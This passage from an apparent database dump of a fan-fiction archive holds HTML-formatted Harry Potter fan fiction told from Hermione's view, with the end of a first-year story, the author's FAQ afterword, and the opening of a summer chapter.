wing since I had it with me\nbefore you woke up,&#8221; Hermione admitted. &#8220;I sat with you for two nights, just\nwaiting to see if you would cone &#8216;round.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t\nunderstand,&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I just was\nworried about you, that&#8217;s all,&#8221; Hermione put the book back up to hide her\nblushing face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well\nthanks.&nbsp; It&#8217;s nice to know I had you\nlooking out for me,&#8221; Harry mused. &#8220;I&#8217;ve never had any real good friends like\nyou and Ron before.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me either,&#8221;\nHermione said quickly. &#8220;You two really changed my life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes I&#8217;d say\nyou&#8217;ve loosened up a bit,&#8221; Harry chuckled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s not what\nI meant,&#8221; Hermione said with mock-sternness. &#8220;But yes, I&#8217;ve loosened up too, I\nguess.&nbsp; I&#8217;ve become Hermione the rebel.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I wouldn&#8217;t go\nthat far,&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You just wait\n&#8216;til next year,&#8221; Hermione said with a brief grin, but then she frowned. &#8220;That&#8217;s\nif I&#8217;m here of course.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You will be,&#8221;\nHarry assured her.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not funny!&#8221;\nRon huffed. &#8220;I can&#8217;t believe you two.&nbsp;\nYou can&#8217;t joke about things like that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and\nHarry only laughed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The queue to get\nfrom Platform 9 &#190; to the muggle station was far longer than it was during the\nChristmas holidays.&nbsp; Because of this it\nlooked like it would take a good fifteen minutes before the guard would let Hermione,\nHarry, and Ron through.&nbsp; Many people\nwalked by wishing Harry well and Hermione still marveled at how fickle people\ncould be.&nbsp; If he hadn&#8217;t almost gotten himself\nkilled and won Gryffindor the house cup in the process would they be as\nfriendly?&nbsp; She decided not to worry about\nit though.&nbsp; Ron was right, it didn&#8217;t\nmatter how fickle everyone else was at least Harry knew who his friends were.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As they waited,\nthey made tentative plans to meet at Ron&#8217;s during the summer.&nbsp; Hermione was glad for this because she knew\nshe&#8217;d need a reason to get out of the house for a while over break especially\nif she planned on having heated debates with her parents about whether or not\nshe could return to Hogwarts.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This is taking\nforever,&#8221; Ron moaned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221;\nHermione&#8217;s shifted anxiously. &#8220;Hold my space, will you?&nbsp; I&#8217;m going to go get something real quick,&#8221;\nand she ducked out of the line.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione walked\nback up the platform and found what she was looking for.&nbsp; A vendor was selling copies of the Daily\nProphet, the wizarding newspaper.&nbsp; She\nonly had a few sickles left but it was more than enough to get a copy of the\npaper, which was only five kunts.&nbsp; As she\nturned to head back to the queue, Hermione noticed another man with several\nowls.&nbsp; She realized very quickly that he\nwas running a small owl post office.&nbsp;\nThis made Hermione think of something.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Excuse me, sir,&#8221;\nshe said coming up to him. &#8220;I don&#8217;t have an owl and I&#8217;m going to be isolated\nfrom the wizarding world all break.&nbsp; How\ndo I send post?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well that&#8217;s not\na problem little witch.&nbsp; Lot&#8217;s of wizards\nand witches don&#8217;t have owls of their own.&nbsp;\nAll you need are some stamps and you&#8217;ll be able to send post.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Stamps?&#8221;\nHermione repeated knowing that there had to be more to this then what she was\nthinking.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, wizard&#8217;s\nstamps.&nbsp; Just place one on any envelope\nand a post owl will come within 24 hours to collect your letter, guaranteed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really?&#8221;\nHermione said in awe. &#8220;That&#8217;s amazing.&nbsp;\nWhere can I get some stamps and how much do they cost?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can sell you\nsome right now,&#8221; he said reaching into his stand and pulling out a small book.\n&#8220;Ten stamps, only three sickles.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione dug into\nher pockets.&nbsp; She only had three sickles\nand a few knuts left but she felt that stamps would be worth the last little\nbit of her money if it meant she&#8217;d be able to write to her friends over the\nsummer, so she bought them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good you&#8217;re\nback,&#8221; Ron said when she returned. &#8220;We&#8217;re almost at the barrier.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A few minutes\nlater they stepped onto the muggle platform. Hermione didn&#8217;t see her parents\nanywhere so she waited with Harry and Ron.&nbsp;\nShe watched in amusement as a girl started pointing at Harry.&nbsp; She had flaming red hair and looked vaguely\nfamiliar. &nbsp;The young girl and her mother\npushed their way forward and Hermione finally realized this must be Ron&#8217;s\nmother and younger sister.&nbsp; It was\nobvious the younger one had a slight crush on Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;He&#8217;s just got all the girls eating out of\nhis hands,&#8221; </i>Hermione thought with a grin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Busy year?&#8221; Mrs.\nWeasley asked as she greeted them and Hermione had the distinct feeling that\nshe must have found out about what happened at Hogwarts despite the fact that\nDumbledore was keeping the story under wraps and away from the general\nwizarding populous.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As they stood\nwith the Weasley family, another man stepped up to them.&nbsp; Hermione looked him over.&nbsp; He was tall, bulky, with a mustache and an\nintense almost angry look on his face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ready, are you?&#8221;\nhe said shortly to Harry.&nbsp; This must have\nbeen Harry&#8217;s uncle.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Weasley\ntried to make conversation with him, but he just blew her off and started away\ntelling Harry to hurry up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry winced a\nbit but still hung back for a moment. &#8220;See you over the summer then,&#8221; he said in\na hopeful voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nstill overcome with shock at the way Harry&#8217;s uncle had acted. &#8220;Hope you have&#8230;\nuh&#8230; a good holiday.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her\none of his famous half grins. &#8220;Oh, I will,&#8221; he assured them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione wondered\nhow he could be smiling at a time like this but she soon found out the reason.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They don&#8217;t know\nwe&#8217;re not allowed to use magic at home.&nbsp;\nI&#8217;m going to have a lot of fun with Dudley this summer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione giggled.\n&#8220;Sound&#8217;s like a plan.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron couldn&#8217;t help\nbut laugh as well. &#8220;You&#8217;re getting as bad as Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on boy!&#8221;\nHarry&#8217;s uncle shouted from his car and it made Harry jump a bit.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I better\nget going,&#8221; he said, grabbing his trunk.&nbsp;\nThe Weasleys were also gathering their ranks to leave.&nbsp; &#8220;Write me and let me know what happens with\nyour folks, alright?&#8221; he said quickly to Hermione.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She gave Harry a\nhug and nodded. &#8220;I will, don&#8217;t worry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just as Harry\nleft, Hermione heard someone calling her name.&nbsp;\nShe spun on her heels and found her father and mother standing a ways\naway.&nbsp; Her mom was smiling; her father\nhad a sober look on his face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She walked up to\nthem timidly. &#8220;Uh hi mum, dad.&nbsp; Did you\nget my owl?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes we did,&#8221; Her\nfather started in a curt voice. &#8220;But don&#8217;t think for a moment that overshadows\nthe last letter we received from your school.&#8221; He produced a piece of parchment\nfrom his pocket and Hermione could see the Hogwarts crest on it. &#8220;Allow me to\nread you some of the more memorable parts.&#8221; He cleared his throat. &#8220;&#8216;It is rare\nthat a Hogwarts student shows such courage, skill, and intellect in the face of\noverwhelming odds.&#8217;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nshocked.&nbsp; What was he reading?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mr. Granger\ncontinued. &#8220;&#8216;Your daughter has shown that she is a truly gifted witch in many\nways this year and we look forward to having her back at Hogwarts next\nyear.&nbsp; Yours Sincerely, Professor Albus\nDumbledore; Headmaster: Hogwarts School of Witchcraft and Wizardry.&#8217;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Professor\nDumbledore wrote you?&#8221; Hermione asked flabbergasted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Granger knelt\ndown to look her daughter in the eyes. &#8220;He not only wrote us but he told us\neverything about how you and your friends passed through all of those obstacles\nin an effort to protect your school.&nbsp; He\nsaid that he knew that if any students in the school had the potential it was\nyou three, which is why he wasn&#8217;t surprised when you succeeded.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, I&#8217;m\nvery proud of you,&#8221; her father was saying now. &#8220;This letter from your\nheadmaster has nothing but praise for you.&nbsp;\nHe said you showed real logic and cunning, the kind of traits I brought\nyou up to have.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you&#8217;re not\nstill mad at me about what happened earlier this year?&#8221; Hermione asked\nhopefully.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re not\ncompletely out of the woods on that, little missy, dragon or no dragon.&#8221; her\nmother said seriously, even though she was smiling.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But,&#8221; her father\nadded quickly. &#8220;I&#8217;m sure you&#8217;ll be able to make up for your little transgression\nlong before it&#8217;s time to go back to Hogwarts next term.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can go back?&#8221;\nHermione almost jumped for joy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course; I\nwouldn&#8217;t want to disappoint your headmaster now would I?&nbsp; He might turn me into a frog or whatnot.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed\nas she hugged her father and mother.&nbsp;\nSuddenly there was a loud yelp nearby.&nbsp;\nHermione peered over her mother&#8217;s shoulder and saw that Harry was still\nin the station.&nbsp; His uncle was trying\nwithout success to load the heavy trunk into the car and he had dropped it on\nhis foot.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione caught\nHarry&#8217;s eyes as she continued to hug her mom.&nbsp;\nShe gave him the thumbs up and mouthed the words &#8220;I&#8217;m coming back.&#8221;\nHarry grinned and gave her a knowing wink as he slid into the backseat of his\naunt and uncle&#8217;s car.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So Hermione,&#8221;\nher mother said as the three of them started for the station exit. &#8220;Do you feel\nmore like a real witch now that you&#8217;re past your first year at school?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think I&#8217;ve\nfinally realized that I was never any less of a witch than any of the other\nstudents at my school,&#8221; Hermione answered thoughtfully. &#8220;It was all in my\nhead.&nbsp; I can do anything that the others\ncan do even though I&#8217;m muggle-born and I&#8217;ve proven that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course, Hermione,&#8221;\nMr. Granger said proudly. &#8220;I&#8217;ve always told you, you can do whatever you put\nyour mind to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s because\nI&#8217;m a Granger.&#8221; Hermione beamed. &#8220;And Grangers can do anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 20, '\n\n\n\n<p class="MsoNormal">Well, I hope you enjoyed reading the fic\nas much as I enjoyed writing it (late at night when I should have been\nasleep).&nbsp; I&#8217;d like to give special thanks\nto two FF.net persons: Archforge and Heaven.&nbsp; They were both very helpful in the logistics\nof writing this, my first fan fiction and also offered me constructive comments\nand criticism.&nbsp; Below is a list of all\nthe questions people have asked me so far.&nbsp;\nI may update it soon if other questions come up that I feel should be\naddressed.</p>\n\n<p class="MsoNormal">A few quick facts about me, the author, that\nseem to have been muddled along the way.</p>\n\n<p class="MsoNormal">1.&nbsp; Despite the fact\nthat I write from Hermione&#8217;s point of view, I am indeed a GUY; a 22 year old\n(straight) guy to be exact.</p>\n\n<p class="MsoNormal">2.&nbsp; I don&#8217;t hate\nRon.&nbsp; However in my fic\nHermione does seem to enjoy messing with his mind.&nbsp;&nbsp; But if you were Hermione&#8230; would you really\nbe able to resist?&nbsp; See!</p>\n\n<p class="MsoNormal">3.&nbsp; Despite the fact\nthat I strongly state that I&#8217;m a fan of Harry and Hermione getting\ntogether.&nbsp; I honestly don&#8217;t care enough\neither way to have arguments about it.&nbsp;\nSo all those people who disagree or are for Ron/Hermione, you&#8217;ll all\nokay in my book. I&#8217;m too laid back to get into debates about it, after all,\nthis is fiction.</p>\n\n<p class="MsoNormal">Now On To the FAQ!</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; Are you going to do all four (or however many\nare out) books from Hermione&#8217;s point of view?</b></p>\n\n<p class="MsoNormal">A.&nbsp; Yes I am.&nbsp; At the time of this writing, only the first\nfour books are out and I hope to have all of my fan fics\ndone before the fifth one is out.&nbsp; After\nthe fifth comes out I will do that too.&nbsp;\nI will do Hermione&#8217;s summer months in the same format that J K Rowling\ndoes Harry&#8217;s summer month (the summer before each school year is covered in\neach book).&nbsp; I&#8217;m doing the books in\norder.&nbsp; YES, I&#8217;m doing Chamber of\nSecrets, despite Hermione&#8217;s short lived role in the book, I still have a plan\nfor this book and I think you&#8217;ll be very pleased.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; Where do you get your facts about the Harry\nPotter world from?</b></p>\n\n<p class="MsoNormal">A.&nbsp; It&#8217;s a little\nknown fact that I&#8217;ve actually never <i style="mso-bidi-font-style:normal">read</i>\nthe Harry Potter series.&nbsp; How can this\nbe?&nbsp; Well I actually have all 4 books on\ntape as read by the renowned Jim Dale.&nbsp;\nThese books are unabridged meaning that every single word is read just\nlike you were reading the book yourself (no narration or dialog is skipped) and\nI have listened to them countless times.&nbsp;\nHarry Potter is the only series of books I&#8217;ve done this way and I\nthought it was pretty cool but Jim Dale is fantastic.&nbsp; The only downfall to having never seen the\nwords on paper is that sometimes I misspell things in my fic.&nbsp; </p>\n\n<p class="MsoNormal">Aside from having committed all the books to memory, I rely\non the Harry Potter Lexicon (http://www.i2k.com/~svderark/lexicon/index-2.html).&nbsp; It is in my opinion the authority on the\nHarry Potter world and it has never steered me wrong.&nbsp; It&#8217;s also the way I know how much time is\nskipped between the major events in the real stories and thus am able to fill\nin the gaps in time.</p>\n\n<p class="MsoNormal">I don&#8217;t use the movie as a primary source of information\nbecause the move isn&#8217;t the book and is too far off in my opinion.&nbsp; Yes I &#8220;read&#8221; the books long before I saw the\nmovie.&nbsp; I&#8217;m not saying the movie was bad\n(I bought the DVD for crying out loud), but think about it, if you went and saw\nthe movie and then read the book, you&#8217;d be REALLY confused.&nbsp; I did use one little tiny cute thing from the\nmovie because it didn&#8217;t contradict the book.&nbsp;\nThose of you who know the books and movie\ninside out like me, know what it was.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; Is this an AU (Alternate Universe) Story?</b></p>\n\n<p class="MsoNormal">A.&nbsp; Everyone keeps\nasking me if (or telling me that) this is an AU story?&nbsp; That&#8217;s not my goal.&nbsp; My goal is to provide a plausible storyline between\nthe gaps that are in each book.&nbsp;\nObviously there are going to be some inconsistencies and I am going to\ntake a little liberty here and there but remember I&#8217;m making all this up anyway\nas none of it really did happen in the story (fan fiction remember).&nbsp; If this really seems so far off that it&#8217;s an\nAU then I&#8217;m not doing my job right.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; Why do you think Harry &amp; Hermione should\nget together?</b></p>\n\n<p class="MsoNormal">A.&nbsp; Well, I actually\nam of the opinion that it&#8217;s what J K Rowling herself is headed for.&nbsp; If you read enough of her books you know that\nthe plot is never going in the direction you think it is.&nbsp; She always keeps you guessing and she never\nmakes the obvious move.&nbsp; Well the obvious\nmove right now would be Hermione and Ron because all the signs point to it,\nright?&nbsp; So we <i style="mso-bidi-font-style:\nnormal">know</i> she&#8217;s not going to do that because she never does something\nthat obvious.&nbsp; My reason for Harry and\nHermione is simple.&nbsp; At the end of book\n4, Hermione did something she&#8217;d never done before as they left Platform 9 &#190;, she\nkissed Harry.&nbsp; That was all the sign I\nneeded to know where her heart really was.&nbsp;\nBut hey I could be wrong.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; Why did you decide Hermione&#8217;s wand should\nhave a Sphinx hair for its core?</b></p>\n\n<p class="MsoNormal">A.&nbsp; Well Sphinxes are\nsupposed to be strong and intelligent, which is how I view Hermione.&nbsp; As we&#8217;ve watched Hermione grow through these\nbooks, we see that she also starts to view herself that way as well.&nbsp; It just seemed appropriate even if it&#8217;s not\ntrue.&nbsp; In response to one reviewer&#8217;s\ncomments I did think of Centaurs but dismissed the idea because I got the\nimpression Hermione doesn&#8217;t really like Centaurs because they read the stars\nand &#8220;Professor McGonagall says that&#8217;s a very imprecise branch of magic.&#8221;&nbsp; So there&#8217;s my reason for that.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; What&#8217;s with this &#8220;Anne&#8221; character?&nbsp; Why did you add her and what role will she\nplay?</b></p>\n\n<p class="MsoNormal">A.&nbsp; Anne has a very\nspecific role.&nbsp; You&#8217;ll see in my next fic.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; What if something in one of the later\n(unpublished) Harry Potter books contradicts what you wrote in this fic?</b></p>\n\n<p class="MsoNormal">A.&nbsp; I&#8217;ll do like any\ngood politician and back peddle!&nbsp;\nWhenever I find a MAJOR contradiction I just go back and try to adjust\nmy fic.&nbsp; I also\ntry to be as vague as possible on things that I think may come up later.&nbsp; For instance, I never say what Hermione&#8217;s\nparent&#8217;s name&#8217;s are or where she actually lives because there is a fairly good\nchance this may be revealed later.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; Your conversion of wizard money to pounds\nseems wrong according to the CNN conversion calculator.</b></p>\n\n<p class="MsoNormal">A.&nbsp; According to the\nHarry Potter Lexicon (http://www.i2k.com/~svderark/lexicon/index-2.html)\nthe CNN conversion calculator is wrong because it uses a bad value for its\nbasis. I use what is considered the correct conversion according to an\ninterview with J K Rowling as described in the Lexicon.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; You allude to Gryffindor Tower being on the\nfourth floor of the castle.&nbsp; Isn&#8217;t that\nwrong?</b></p>\n\n<p class="MsoNormal">A.&nbsp; Yes, according to\nthe Lexicon the tower is on the seventh floor of the castle (and fourth doesn&#8217;t\nmake since simply taking into consideration the size of the castle\nanyway).&nbsp; What I actually allude to is\nthat on some instances the characters climb up &#8220;4 flights of stairs&#8221; to reach\nthe tower.&nbsp; This is entirely possible\nconsidering the layout of the castle; also it is mentioned in the books as well\nso that&#8217;s why I use it.&nbsp; I just assume\nthat this must be the quickest route to the tower from the entrance hall.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; I found xxx error in your fic.</b></p>\n\n<p class="MsoNormal">A.&nbsp; I&#8217;m always open to\nhearing any mistake in my fan fiction EXCEPT GRAMMAR.&nbsp; I honestly don&#8217;t care about bad grammar in my\nfan fictions because I just write these for fun.&nbsp; If you want to tell me about a mistake with\ncharacter names, location, etc., write it in a review.&nbsp; However be polite about it.&nbsp; If I find that it&#8217;s something I truly didn&#8217;t\nmean to do, then I&#8217;ll probably fix it by the next day.&nbsp; However sometimes I do mean it and it&#8217;s my fic so I reserve the right.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; I have a criticism about your fic.</b></p>\n\n<p class="MsoNormal">A.&nbsp; Yea!&nbsp; I am always open to criticism as long as\nyou&#8217;re not harsh about it (I believe you call that flaming).&nbsp; If you think I could have done something better\nthen I need to know that &#8220;for it is criticism, not praise,\nthat makes a good writer.&#8221;&nbsp; So\nfeel free to say so in a review.&nbsp;\nHowever, unlike with errors I don&#8217;t usually change the fic for critiques, I just learn\nfrom them and fix it in my next writing.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; Why are Pansy and Draco always together in\nyour fic?&nbsp; Are\nyou alluding to a relationship between them?</b></p>\n\n<p class="MsoNormal">A.&nbsp; No, it was purely\ncoincidence.&nbsp; After all this is from\nHermione&#8217;s point of view and to her Pansy is more of a menace than Malfoy&#8217;s\nthugs.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; I noticed that you did &#8220;XXX&#8221; in this parallel\nof Sorcerer&#8217;s Stone how are you going to handle it when &#8220;XXX&#8221; comes up in a\nlater book.</b></p>\n\n<p class="MsoNormal">A.&nbsp; I&#8217;ve already got\nthat covered.&nbsp; I thought about all four\ncurrently written books when I started this fan fiction so I know how I&#8217;m going\nto handle the parallels of the other three books.&nbsp; The challenge comes if something in the\nunpublished books contradicts my fics.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; I really wanted Harry and Hermione to get\ntogether in this fic.&nbsp;\nHow come they didn&#8217;t?</b></p>\n\n<p class="MsoNormal">A.&nbsp; Because Harry and\nHermione didn&#8217;t get together at the end of Sorcerer&#8217;s Stone or any of the four\ncurrently published books for that matter and I&#8217;m writing parallels so I have\nto stick to what happens.</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Q.&nbsp; What will you do if Ron and Hermione get\ntogether in book 5 or later?</b></p>\n\n<p class="MsoNormal">A.&nbsp; I&#8217;ll gag myself\nwith a spoon!&nbsp; The thought of Ron and\nHermione together makes me physically nauseous.&nbsp;\nThe same thing goes for Harry/Cho and\nHarry/Ginny&#8230; however those are much easier to write parallels to from\nHermione&#8217;s point of view.&nbsp; Honestly\nthough if it actually happens, I&#8217;ll just go with the flow or write AU or\nsomething. I don&#8217;t know.&nbsp; I have a\nfeeling that JKR will just surprise us all by doing something completely\nunexpected and no one will get their wish.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(241, 1, '<center><b>This chapter has corrupted or a blank chapter was uploaded. Please contact the author and request that they re-upload the chapter</b></center>'),
	(241, 2, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; More summer adventures for Hermione.&nbsp; I&#8217;m really just passing the time until the\nschool year starts.&nbsp; In this chapter\nHermione goes to a slumber party with her favorite roommates.&nbsp; Will she be able to survive 18 hours with a\nbunch of giggling girls?&nbsp; Read closely\nand you&#8217;ll see I&#8217;ve introduced a few things that will be important in the story\nlater.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&#8220;Hermione,</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">Have you heard from Harry at all this\nsummer?&nbsp; I haven&#8217;t gotten an owl from him\nyet and Erroll&#8217;s come back empty clawed.&nbsp; I don&#8217;t know if he even got my letter at all.\nErroll&#8217;s already lost two letters this summer.&nbsp; I was thinking that you might have better\nluck getting in contact with Harry seeing as how my owl&#8217;s a bit old.&nbsp; Or maybe there is some muggle way you could\ncontact him?&nbsp; In any case let me know\nwhat you find out and don&#8217;t forget to tell Harry about coming to my house for\nhis birthday.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">Ron&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione glanced\ndown at the decrepit owl, Erroll, now sprawled out beside her on the sitting\nroom couch.&nbsp; It was true that the\nWeasley&#8217;s owl was definitely old and almost out of the post business, but she\nstrongly suspected that this wasn&#8217;t the entire problem.&nbsp; It was likely that Harry&#8217;s aunt and uncle\nmight be preventing him from using his owl, Hedwig, as well.&nbsp; She remembered all the stories Harry used to\ntell her about his guardians locking him in a cupboard under the staircase and\nhow they feared his magical heritage.&nbsp;\nMaybe they had done the same thing this summer as soon as he had gotten\nback home.&nbsp; If Harry couldn&#8217;t use his owl\nand Erroll missed a delivery, it would explain the lack of contact.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave one\nlast look to the feeble owl beside her and then headed back up to her\nroom.&nbsp; She pulled a quill, ink bottle,\nand some parchment from the open school bag by her desk.&nbsp; Ever since she had started school, she&#8217;d\nstopped using regular pens and paper and now writing with long feather quills\nwas second nature to her and surprisingly faster.&nbsp; She thought for a moment before dipping her\nquill in the ink and starting a letter to Harry.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&#8220;Dear Harry;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.25in;margin-bottom:0in;\nmargin-left:.25in;margin-bottom:.0001pt">Ron and I were wondering if you were\nokay.&nbsp; Neither of us has heard from you\nthis summer and we&#8217;re both worried.&nbsp; Ron\nwrote you a little over a week ago to ask you if you wanted to visit him this\nsummer for your birthday.&nbsp; Did you get\nthat letter?&nbsp; His owl is old so if you\nhaven&#8217;t gotten it I wouldn&#8217;t be surprised or if you did and tried to write Ron\nback, 